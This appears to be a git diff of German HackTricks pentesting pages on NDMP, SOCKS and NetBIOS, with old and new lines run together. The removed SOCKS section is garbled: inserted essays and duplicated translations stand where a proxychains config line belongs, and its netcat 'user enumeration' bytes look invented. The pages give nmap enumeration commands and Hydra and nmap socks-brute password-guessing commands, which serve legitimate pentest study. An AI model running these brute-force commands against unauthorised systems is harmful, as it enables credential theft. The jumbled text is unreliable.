{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# **Protokollinformationen**
Aus [Wikipedia](https://en.wikipedia.org/wiki/NDMP):
Von [Wikipedia](https://en.wikipedia.org/wiki/NDMP):
> **NDMP** oder **Network Data Management Protocol** ist ein Protokoll, das dazu dient, Daten zwischen netzgebundenen Speichergeräten \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) und Backup-Geräten zu transportieren. Dadurch entfällt die Notwendigkeit, die Daten über den Backup-Server selbst zu transportieren, was die Geschwindigkeit erhöht und die Last vom Backup-Server entfernt.
> **NDMP**, oder **Network Data Management Protocol**, ist ein Protokoll, das dazu dient, Daten zwischen netzwerkgebundenen Speichergeräten \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) und [Backup](https://en.wikipedia.org/wiki/Backup)-Geräten zu transportieren. Dies beseitigt die Notwendigkeit, die Daten über den Backup-Server selbst zu transportieren, wodurch die Geschwindigkeit erhöht und die Last vom Backup-Server entfernt wird.
**Standardport:** 10000
```text
@ -34,16 +35,17 @@ nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are defa
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,130 +1,43 @@
# 1080 - Pentesting Socks
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie das Hacken von AWS von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Grundlegende Informationen
## Grundinformationen
**SOCKS** ist ein Protokoll, das zum Übertragen von Daten zwischen einem Client und einem Server über einen Proxy verwendet wird. Die fünfte Version, **SOCKS5**, fügt eine optionale Authentifizierungsfunktion hinzu, die nur autorisierten Benutzern den Zugriff auf den Server ermöglicht. Es behandelt hauptsächlich das Proxying von TCP-Verbindungen und das Weiterleiten von UDP-Paketen und arbeitet auf der Sitzungsschicht (Layer 5) des OSI-Modells.
**SOCKS** ist ein Protokoll, das zum Übertragen von Daten zwischen einem Client und einem Server über einen Proxy verwendet wird. Die fünfte Version, **SOCKS5**, fügt eine optionale Authentifizierungsfunktion hinzu, die nur autorisierten Benutzern den Zugriff auf den Server ermöglicht. Es behandelt hauptsächlich das Proxying von TCP-Verbindungen und das Weiterleiten von UDP-Paketen und arbeitet auf der Sitzungsschicht (Schicht 5) des OSI-Modells.
**Standardport:** 1080
## Enumeration
### Überprüfung der Authentifizierung
### Authentifizierungsprüfung
```bash
nmap -p 1080 <ip> --script socks-auth-info
```
### Brute Force
#### Grundlegende Verwendung
Die Brute-Force-Methode ist eine gängige Technik, um Benutzernamen und Passwörter für verschiedene Dienste zu erraten. Es beinhaltet das systematische Ausprobieren aller möglichen Kombinationen, bis die richtigen Anmeldeinformationen gefunden werden.
Um die Brute-Force-Methode anzuwenden, können Sie Tools wie Hydra oder Medusa verwenden. Diese Tools ermöglichen es Ihnen, eine Liste von Benutzernamen und eine Liste von Passwörtern anzugeben, die dann automatisch ausprobiert werden.
Hier ist ein Beispiel für die Verwendung von Hydra, um einen SSH-Server anzugreifen:
```plaintext
hydra -l <Benutzername> -P <Passwortliste> ssh://<Ziel-IP>
```
In diesem Beispiel wird Hydra verwendet, um den SSH-Server auf der angegebenen Ziel-IP-Adresse anzugreifen. Das Tool wird die angegebene Benutzerliste und die Passwortliste verwenden, um verschiedene Kombinationen auszuprobieren, bis das richtige Passwort gefunden wird.
Es ist wichtig zu beachten, dass die Brute-Force-Methode zeitaufwändig sein kann und von den Sicherheitsvorkehrungen des Ziels abhängt. Einige Dienste können nach einer bestimmten Anzahl von fehlgeschlagenen Anmeldeversuchen blockiert werden, um solche Angriffe zu verhindern.
```bash
nmap --script socks-brute -p 1080 <ip>
```
#### Fortgeschrittene Verwendung
##### Socks Proxy
Ein Socks-Proxy ist ein Protokoll, das verwendet wird, um den Datenverkehr zwischen einem Client und einem Server über einen Proxy-Server zu leiten. Es ermöglicht dem Client, Verbindungen zu verschiedenen Netzwerkdiensten über den Proxy herzustellen, ohne dass der Client die Details der Verbindung kennt.
##### Socks4
Socks4 ist eine ältere Version des Socks-Protokolls, die nur IPv4-Adressen unterstützt. Es bietet keine Authentifizierungsmöglichkeiten und ist daher weniger sicher als Socks5.
##### Socks5
Socks5 ist die neueste Version des Socks-Protokolls und bietet erweiterte Funktionen im Vergleich zu Socks4. Es unterstützt sowohl IPv4- als auch IPv6-Adressen und bietet verschiedene Authentifizierungsmethoden, einschließlich Benutzername/Passwort und GSSAPI.
##### Socks5-Authentifizierung
Die Socks5-Authentifizierung ermöglicht es dem Proxy-Server, den Client zu authentifizieren, bevor eine Verbindung hergestellt wird. Dies erhöht die Sicherheit, da nur autorisierte Clients auf den Proxy zugreifen können.
##### Socks5-Verbindungsaufbau
Um eine Verbindung über einen Socks5-Proxy herzustellen, muss der Client eine Verbindung zum Proxy-Server herstellen und eine Verbindungsanfrage senden. Der Proxy-Server überprüft die Anfrage und leitet sie gegebenenfalls an den Zielserver weiter. Sobald die Verbindung hergestellt ist, fungiert der Proxy als Vermittler zwischen dem Client und dem Server.
##### Socks5-Portweiterleitung
Socks5 unterstützt auch die Portweiterleitung, bei der der Proxy-Server den Datenverkehr von einem bestimmten Port an den Client weiterleitet. Dies ermöglicht es dem Client, auf Dienste zuzugreifen, die auf einem entfernten Server ausgeführt werden, als ob sie lokal ausgeführt würden.
##### Socks5-Verbindungsverschlüsselung
Um die Sicherheit zu erhöhen, kann eine Socks5-Verbindung verschlüsselt werden. Dies kann durch die Verwendung von SSL/TLS oder anderen Verschlüsselungsprotokollen erreicht werden. Die Verschlüsselung schützt den Datenverkehr vor Abhören und Manipulation durch Dritte.
##### Socks5-Proxy-Tools
Es gibt verschiedene Tools, die verwendet werden können, um mit Socks5-Proxies zu arbeiten, einschließlich Proxychains, SocksCap und Proxifier. Diese Tools ermöglichen es dem Benutzer, den gesamten Netzwerkverkehr über einen Socks5-Proxy umzuleiten, ohne dass einzelne Anwendungen konfiguriert werden müssen.
#### Erweiterte Nutzung
```bash
nmap --script socks-brute --script-args userdb=users.txt,passdb=rockyou.txt,unpwdb.timelimit=30m -p 1080 <ip>
```
# Pentesting SOCKS
## Introduction
SOCKS (Socket Secure) is a protocol that allows a client to establish a connection through a proxy server. It is commonly used for bypassing network restrictions and anonymizing internet traffic. In this section, we will explore various techniques for pentesting SOCKS servers.
## Enumeration
### Version Detection
To determine the version of the SOCKS server, we can send a `SOCKS5` handshake request and analyze the response. The server will reply with its supported version and authentication methods.
```bash
$ nc -v <target_ip> <target_port>
> 05 01 00
< 05 00
```
### User Enumeration
Some SOCKS servers may require authentication. We can attempt to enumerate valid usernames by sending a `SOCKS5` handshake request with different usernames and analyzing the server's response.
```bash
$ nc -v <target_ip> <target_port>
> 05 01 00 02 00 00 00 00 00 00
< 05 02
```
## Exploitation
### Proxy Chaining
SOCKS servers can be used to chain multiple proxies together, allowing us to hide our true identity and location. By configuring our browser or other applications to use a SOCKS proxy, we can route our traffic through multiple proxies before reaching the final destination.
### Traffic Analysis
Since SOCKS proxies can be used to anonymize internet traffic, they are often targeted by attackers for malicious activities. By analyzing the traffic passing through a SOCKS server, we can identify potential security vulnerabilities or suspicious behavior.
### Credential Brute-Forcing
If the SOCKS server requires authentication, we can attempt to brute-force valid usernames and passwords. This can be done using tools like Hydra or Burp Suite's Intruder module.
## Conclusion
Pentesting SOCKS servers is essential for identifying potential security weaknesses and ensuring the privacy and integrity of network traffic. By understanding the enumeration and exploitation techniques discussed in this section, we can effectively assess the security of SOCKS servers.
#### Ausgabe
```
PORT STATE SERVICE
1080/tcp open socks
@ -136,138 +49,33 @@ PORT STATE SERVICE
```
## Tunneling und Portweiterleitung
### Grundlegende Verwendung von Proxychains
### Grundlegende Verwendung von proxychains
Richten Sie Proxychains ein, um einen Socks-Proxy zu verwenden
Richten Sie Proxychains ein, um einen SOCKS-Proxy zu verwenden.
```
nano /etc/proxychains4.conf
```
Editiere den folgenden Abschnitt und füge deinen Proxy hinzu:
```markdown
## Pentesting SOCKS
### Introduction
SOCKS (Socket Secure) is a protocol that allows a client to establish a connection through a proxy server. It is commonly used for bypassing network restrictions and anonymizing internet traffic.
### Pentesting SOCKS
When pentesting SOCKS, there are several areas to focus on:
1. **Proxy Server Configuration**: Check the configuration of the proxy server, including authentication mechanisms, access controls, and logging settings.
2. **Authentication Mechanisms**: Test the strength of authentication mechanisms used by the proxy server. Look for weak or default credentials that could be exploited.
3. **Access Controls**: Identify any misconfigurations or vulnerabilities in the access control settings of the proxy server. This could include allowing unauthorized access or failing to enforce restrictions.
4. **Logging and Monitoring**: Analyze the logging and monitoring capabilities of the proxy server. Look for any potential information leaks or vulnerabilities that could be exploited.
### Tools for Pentesting SOCKS
Here are some tools commonly used for pentesting SOCKS:
- **Proxychains**: A tool that allows you to run any program through a proxy server.
- **Burp Suite**: A web application testing tool that can be configured to use a SOCKS proxy.
- **Nmap**: A network scanning tool that can be used to identify open SOCKS ports.
### Conclusion
Pentesting SOCKS involves assessing the security of proxy servers and identifying any vulnerabilities that could be exploited. By understanding the configuration, authentication mechanisms, access controls, and logging settings of the proxy server, you can effectively test its security and ensure the protection of sensitive information.
```
Füge deinen Proxy hinzu:
```markdown
## Pentesting SOCKS
### Einführung
SOCKS (Socket Secure) ist ein Protokoll, das es einem Client ermöglicht, eine Verbindung über einen Proxy-Server herzustellen. Es wird häufig verwendet, um Netzwerkbeschränkungen zu umgehen und den Internetverkehr anonym zu machen.
### Pentesting SOCKS
Beim Pentesting von SOCKS gibt es mehrere Bereiche, auf die man sich konzentrieren sollte:
1. **Konfiguration des Proxy-Servers**: Überprüfen Sie die Konfiguration des Proxy-Servers, einschließlich Authentifizierungsmechanismen, Zugriffskontrollen und Protokollierungseinstellungen.
2. **Authentifizierungsmechanismen**: Testen Sie die Stärke der vom Proxy-Server verwendeten Authentifizierungsmechanismen. Suchen Sie nach schwachen oder Standard-Anmeldeinformationen, die ausgenutzt werden könnten.
3. **Zugriffskontrollen**: Identifizieren Sie mögliche Fehlkonfigurationen oder Schwachstellen in den Zugriffskontrolleinstellungen des Proxy-Servers. Dies könnte das Zulassen unberechtigten Zugriffs oder das Nichtdurchsetzen von Beschränkungen umfassen.
4. **Protokollierung und Überwachung**: Analysieren Sie die Protokollierungs- und Überwachungsfunktionen des Proxy-Servers. Suchen Sie nach potenziellen Informationslecks oder Schwachstellen, die ausgenutzt werden könnten.
### Tools für das Pentesting von SOCKS
Hier sind einige Tools, die häufig für das Pentesting von SOCKS verwendet werden:
- **Proxychains**: Ein Tool, mit dem Sie jedes Programm über einen Proxy-Server ausführen können.
- **Burp Suite**: Ein Webanwendungstest-Tool, das so konfiguriert werden kann, dass es einen SOCKS-Proxy verwendet.
- **Nmap**: Ein Netzwerk-Scanning-Tool, das zur Identifizierung offener SOCKS-Ports verwendet werden kann.
### Fazit
Das Pentesting von SOCKS umfasst die Bewertung der Sicherheit von Proxy-Servern und die Identifizierung möglicher Schwachstellen, die ausgenutzt werden könnten. Durch das Verständnis der Konfiguration, der Authentifizierungsmechanismen, der Zugriffskontrollen und der Protokollierungseinstellungen des Proxy-Servers können Sie dessen Sicherheit effektiv testen und den Schutz sensibler Informationen gewährleisten.
```
Füge deinen Proxy hinzu:
```markdown
## Pentesting SOCKS
### Einführung
SOCKS (Socket Secure) ist ein Protokoll, das es einem Client ermöglicht, eine Verbindung über einen Proxy-Server herzustellen. Es wird häufig verwendet, um Netzwerkbeschränkungen zu umgehen und den Internetverkehr anonym zu machen.
### Pentesting SOCKS
Beim Pentesting von SOCKS gibt es mehrere Bereiche, auf die man sich konzentrieren sollte:
1. **Konfiguration des Proxy-Servers**: Überprüfen Sie die Konfiguration des Proxy-Servers, einschließlich Authentifizierungsmechanismen, Zugriffskontrollen und Protokollierungseinstellungen.
2. **Authentifizierungsmechanismen**: Testen Sie die Stärke der vom Proxy-Server verwendeten Authentifizierungsmechanismen. Suchen Sie nach schwachen oder Standard-Anmeldeinformationen, die ausgenutzt werden könnten.
3. **Zugriffskontrollen**: Identifizieren Sie mögliche Fehlkonfigurationen oder Schwachstellen in den Zugriffskontrolleinstellungen des Proxy-Servers. Dies könnte das Zulassen unberechtigten Zugriffs oder das Nichtdurchsetzen von Beschränkungen umfassen.
4. **Protokollierung und Überwachung**: Analysieren Sie die Protokollierungs- und Überwachungsfunktionen des Proxy-Servers. Suchen Sie nach potenziellen Informationslecks oder Schwachstellen, die ausgenutzt werden könnten.
### Tools für das Pentesting von SOCKS
Hier sind einige Tools, die häufig für das Pentesting von SOCKS verwendet werden:
- **Proxychains**: Ein Tool, mit dem Sie jedes Programm über einen Proxy-Server ausführen können.
- **Burp Suite**: Ein Webanwendungstest-Tool, das so konfiguriert werden kann, dass es einen SOCKS-Proxy verwendet.
- **Nmap**: Ein Netzwerk-Scanning-Tool, das zur Identifizierung offener SOCKS-Ports verwendet werden kann.
### Fazit
Das Pentesting von SOCKS umfasst die Bewertung der Sicherheit von Proxy-Servern und die Identifizierung möglicher Schwachstellen, die ausgenutzt werden könnten. Durch das Verständnis der Konfiguration, der Authentifizierungsmechanismen, der Zugriffskontrollen und der Protokollierungseinstellungen des Proxy-Servers können Sie dessen Sicherheit effektiv testen und den Schutz sensibler Informationen gewährleisten.
```
Editiere den unteren Teil und füge deinen Proxy hinzu.
```
socks5 10.10.10.10 1080
```
Mit Authentifizierung
Mit Auth
```
socks5 10.10.10.10 1080 username password
```
#### Weitere Informationen: [Tunneling und Portweiterleitung](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
#### Mehr Informationen: [Tunneling und Portweiterleitung](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,61 +1,62 @@
# 137,138,139 - Pentesting NetBios
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories** senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## NetBios Name Service
Der **NetBIOS Name Service** spielt eine entscheidende Rolle und umfasst verschiedene Dienste wie **Namensregistrierung und -auflösung**, **Datagrammverteilung** und **Sitzungsdienste**, die jeweils spezifische Ports nutzen.
**NetBIOS Name Service** spielt eine entscheidende Rolle und umfasst verschiedene Dienste wie **Namensregistrierung und -auflösung**, **Datagrammauslieferung** und **Sitzungsdienste**, die spezifische Ports für jeden Dienst nutzen.
[Aus Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
[From Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
* Namensdienst für Namensregistrierung und -auflösung (Ports: 137/udp und 137/tcp).
* Datagrammverteilungsdienst für verbindungslose Kommunikation (Port: 138/udp).
* Datagrammauslieferungsdienst für verbindungslose Kommunikation (Port: 138/udp).
* Sitzungsdienst für verbindungsorientierte Kommunikation (Port: 139/tcp).
### Namensdienst
### Name Service
Damit ein Gerät an einem NetBIOS-Netzwerk teilnehmen kann, muss es einen eindeutigen Namen haben. Dies wird durch einen **Broadcast-Prozess** erreicht, bei dem ein "Name Query"-Paket gesendet wird. Wenn keine Einwände eingehen, gilt der Name als verfügbar. Alternativ kann ein **Namensdienstserver** direkt abgefragt werden, um die Verfügbarkeit eines Namens zu überprüfen oder einen Namen in eine IP-Adresse aufzulösen. Tools wie `nmblookup`, `nbtscan` und `nmap` werden zur Aufzählung von NetBIOS-Diensten verwendet, um Servernamen und MAC-Adressen aufzudecken.
Damit ein Gerät an einem NetBIOS-Netzwerk teilnehmen kann, muss es einen eindeutigen Namen haben. Dies wird durch einen **Broadcast-Prozess** erreicht, bei dem ein "Name Query"-Paket gesendet wird. Wenn keine Einwände eingehen, wird der Name als verfügbar betrachtet. Alternativ kann ein **Name Service-Server** direkt abgefragt werden, um die Verfügbarkeit eines Namens zu überprüfen oder um einen Namen in eine IP-Adresse aufzulösen. Tools wie `nmblookup`, `nbtscan` und `nmap` werden verwendet, um NetBIOS-Dienste zu enumerieren, die Servernamen und MAC-Adressen offenbaren.
```bash
PORT STATE SERVICE VERSION
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
```
Bei der Enumeration eines NetBIOS-Dienstes können Sie die Namen verwenden, die der Server verwendet, und die MAC-Adresse des Servers abrufen.
Durch das Auflisten eines NetBIOS-Dienstes können Sie die Namen abrufen, die der Server verwendet, und die MAC-Adresse des Servers.
```bash
nmblookup -A <IP>
nbtscan <IP>/30
sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
```
### Datagramm-Verteilungsdienst
### Datagram-Verteilungsdienst
NetBIOS-Datagramme ermöglichen eine verbindungslose Kommunikation über UDP und unterstützen direkte Nachrichten oder das Senden an alle Netzwerknamen. Dieser Dienst verwendet den Port **138/udp**.
NetBIOS-Datagramme ermöglichen eine verbindungslose Kommunikation über UDP und unterstützen direktes Messaging oder Broadcasting an alle Netzwerknamen. Dieser Dienst verwendet den Port **138/udp**.
```bash
PORT STATE SERVICE VERSION
138/udp open|filtered netbios-dgm
```
### Sessiondienst
### Session Service
Für verbindungsorientierte Interaktionen erleichtert der **Sessiondienst** ein Gespräch zwischen zwei Geräten und nutzt **TCP**-Verbindungen über den Port **139/tcp**. Eine Sitzung beginnt mit einem "Sitzungsanforderungs"-Paket und kann auf der Grundlage der Antwort hergestellt werden. Der Dienst unterstützt größere Nachrichten, Fehlererkennung und -wiederherstellung, wobei TCP die Flusskontrolle und Paketwiederübertragung übernimmt.
Für verbindungsorientierte Interaktionen erleichtert der **Session Service** ein Gespräch zwischen zwei Geräten, indem er **TCP**-Verbindungen über den Port **139/tcp** nutzt. Eine Sitzung beginnt mit einem "Session Request"-Paket und kann basierend auf der Antwort eingerichtet werden. Der Dienst unterstützt größere Nachrichten, Fehlererkennung und -wiederherstellung, wobei TCP die Flusskontrolle und die Paketübertragung übernimmt.
Die Datenübertragung innerhalb einer Sitzung erfolgt über **Sitzungsnachrichten-Pakete**, wobei die Sitzungen durch Schließen der TCP-Verbindung beendet werden.
Die Datenübertragung innerhalb einer Sitzung erfolgt über **Session Message-Pakete**, wobei Sitzungen durch das Schließen der TCP-Verbindung beendet werden.
Diese Dienste sind integraler Bestandteil der **NetBIOS**-Funktionalität und ermöglichen eine effiziente Kommunikation und Ressourcenfreigabe in einem Netzwerk. Weitere Informationen zu den TCP- und IP-Protokollen finden Sie auf den entsprechenden [Wikipedia-Seiten zu TCP](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) und [IP](https://en.wikipedia.org/wiki/Internet_Protocol).
Diese Dienste sind integraler Bestandteil der **NetBIOS**-Funktionalität und ermöglichen eine effiziente Kommunikation und Ressourcenteilung über ein Netzwerk. Für weitere Informationen zu TCP- und IP-Protokollen siehe die jeweiligen [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) und [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) Seiten.
```bash
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
